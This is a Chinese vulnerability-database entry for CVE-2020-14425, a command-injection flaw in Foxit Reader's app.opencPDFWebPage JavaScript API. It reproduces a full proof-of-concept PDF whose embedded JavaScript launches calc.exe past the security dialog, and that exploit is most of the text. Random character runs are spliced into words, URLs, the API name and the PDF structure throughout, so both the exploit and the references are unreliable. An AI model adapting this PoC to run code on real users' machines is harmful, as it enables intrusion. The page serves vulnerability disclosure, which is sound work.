Foxit Reader 命令注入漏洞

漏洞ID 2218629 漏洞类型 命令注入
发布时间 2020-11-02 更新时间 2020-11-03
CVE编号 CVE-2020-14425

CNNVD-ID CNNVD-202011-091
漏洞平4 9 F N/A CVSS评分 N/A
漏洞来源
https://cxsecurity.com/issue/W7 I V r o f !LB-2020110007
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202011-09v O % J 1 y F1
漏洞详情
Foxit Reader是中国福昕(Foxit)公司P v 1 G F (的一款PDF文档* 7 : u ,阅读器。
Foxit Reader 10.0之前版本的 app{ [ A h I J O ; F.opencPp ^ ? y ; _ @ RDFWebPage JavsScript API存在命令注入漏洞,该漏洞使攻击者可以执行本地文件并绕过安全对话框。
漏洞EXP
# Exploit Title: Foxit Reader 9.7.1 - Remote Comm+ S sand Execution (Javascript API)
# Exploit Author: NZ t k o Eassim Asrir
# CVE: CVE-2020-14425.
# Vendor Homepage: httpsX = ^ 3 e 1 w 0 [://www.foxitsoftware.com/
#Description:
Foxit Reader befor& W 2 O N  pe 10.0 allows Remote Command Execution via the unsafe app.opencPDFWebPage JavaScript AP which allows an attacker to execute local files on the file
system and bypass the security dialog.
The exploit process need the user-intb z /eQ V . z s W 1rcation (Opening the PDF) .
+ Process continuation
#POC (Metasploit module coming soon)
%PDF-1.4
%
1 0 obj
<&l@ , i f + 7 t `t;
/CreationDate(D:20200821171007+02'00')
/Ti= q K ; ytle(Hi, Can you see me[ P o o V 9 n t ?)
/Creator(AnonymousUser)
>>
endobj
2 0 obj
<<
/T% Q 5 L -ype/Catalog
/Pages 3N & 1 c ( 0 R
/Names
<<
/Javar 3 ^ F s O C k 6Script 10 0 R
>&g5 @ c ( x d 6 P vt;
>>
endobj
3 0 obj
<<
/Type/Pa( w C ; Q l J h )ges
/Count 1
/Kids[4 0 R]
>>
endobW U y t 2 Z |j
4 0 obj
<<
/Type/Page
/MediaBox[0 0 595 842]
/Pz + n 9 Harent 3 0 R
/Contents 5 0 R
/Resources
<<
/ProcSet [/PDF/Text/ImageB/ImageC; a p [ + n/ImageI]
/ExtGState
<<
/GS0 6 0 R
>>
/Font
<<
/F0 8 0 R
>>
>>
/Group
<<
/CS/DeviceRGB
/S/Transparency
/I falj _ a } Rse
/K false
>>
>>
endobj
5 0 obj
<<
/Length 94
/Filter/FlateDecode
>&I r Z I w 1 Igt;
stream
x@@E[Rk	x•WV n T n z 0 W 3 n"DD›b“{‡T ! Tg†tS)d‘=d+9_if [B_5M J } l { a o J +!dZhP> ‰
endstream
endobj
6 0 obj
<<
/Type/ExtGState
/ca 1
>>
endobj
7 0 obj
<<
/Type/FontDescriptor
/Ascent 833
/CapHeight 592
/Descent -j v -300
/Flags 32
/FontBBox[-192 -710 702 1221]
/ItalicAngle 0
/StemV 0
/XHeight 443
/FontNR m ` g [ % B Jame/CourierNew,Bold
>>
endobj
8 0 obj
<<
/Type/Font
/Subtype/TrueType
/BaseFn + / Zont/CourierNew,Bold
/Encoding/WinAnsiEncoding
/FontDescriptor 7 0 R
/B 9 B N p t D N SFirstChar 0
/LastChar 255
/WidthM B I { e 0 {s[600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 6^ _ 7 8 z C k 0 f00 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600 600]
>>
endobj
9 0 obj
<<P I u L ] W
/S/JavaScript
/JS(app.opencPDFWebPage\('C:\\\\Windows\\\\System32\\\\calc.exe'\) )
>>
endobj
10 0 obj
<<
/Names[(EmbeddedJS)9 0 R]
>>
endobj
xk } F t I = -ref
0 11
0000000000 65535 f
0000000015 00000 n
0000000170 00000 n( i 6 7 , c =
0000000250 00000 n
0000000305 00000 n
0000000560 00000 n
0000000724 00000 n
0000000767 00000 n
0000000953 00000 n
0000002137 00000 n
0000002235 00000 n
trailer
&l P / = ! st;<
/ID[<7018DE6859F23E419162D213F5C4D583>i d t } V P F V;<7018DE6859F23E419162D213F5C4D583>]
/Inq N B o ^ wfo 1 0 R
/Root 2 0 R
/Size 11
>>
startxref
2283
%%EOF
参考, 3 & K Y 8 ^ . }资料

来源:: 9 | e ! x Jpacketstormsecurity.com

链接:https://packetstormsec, z _ l V c uurity.com/n 8 Q f h Pfiles/159784/Foxit-Reader-9.7.1-Remote-C% A _ V A a Tommand-Execution.html

来源:nvd.nist.gov

链接:https://nvd.nist.gov/vuln/detail/CVE-2020-14425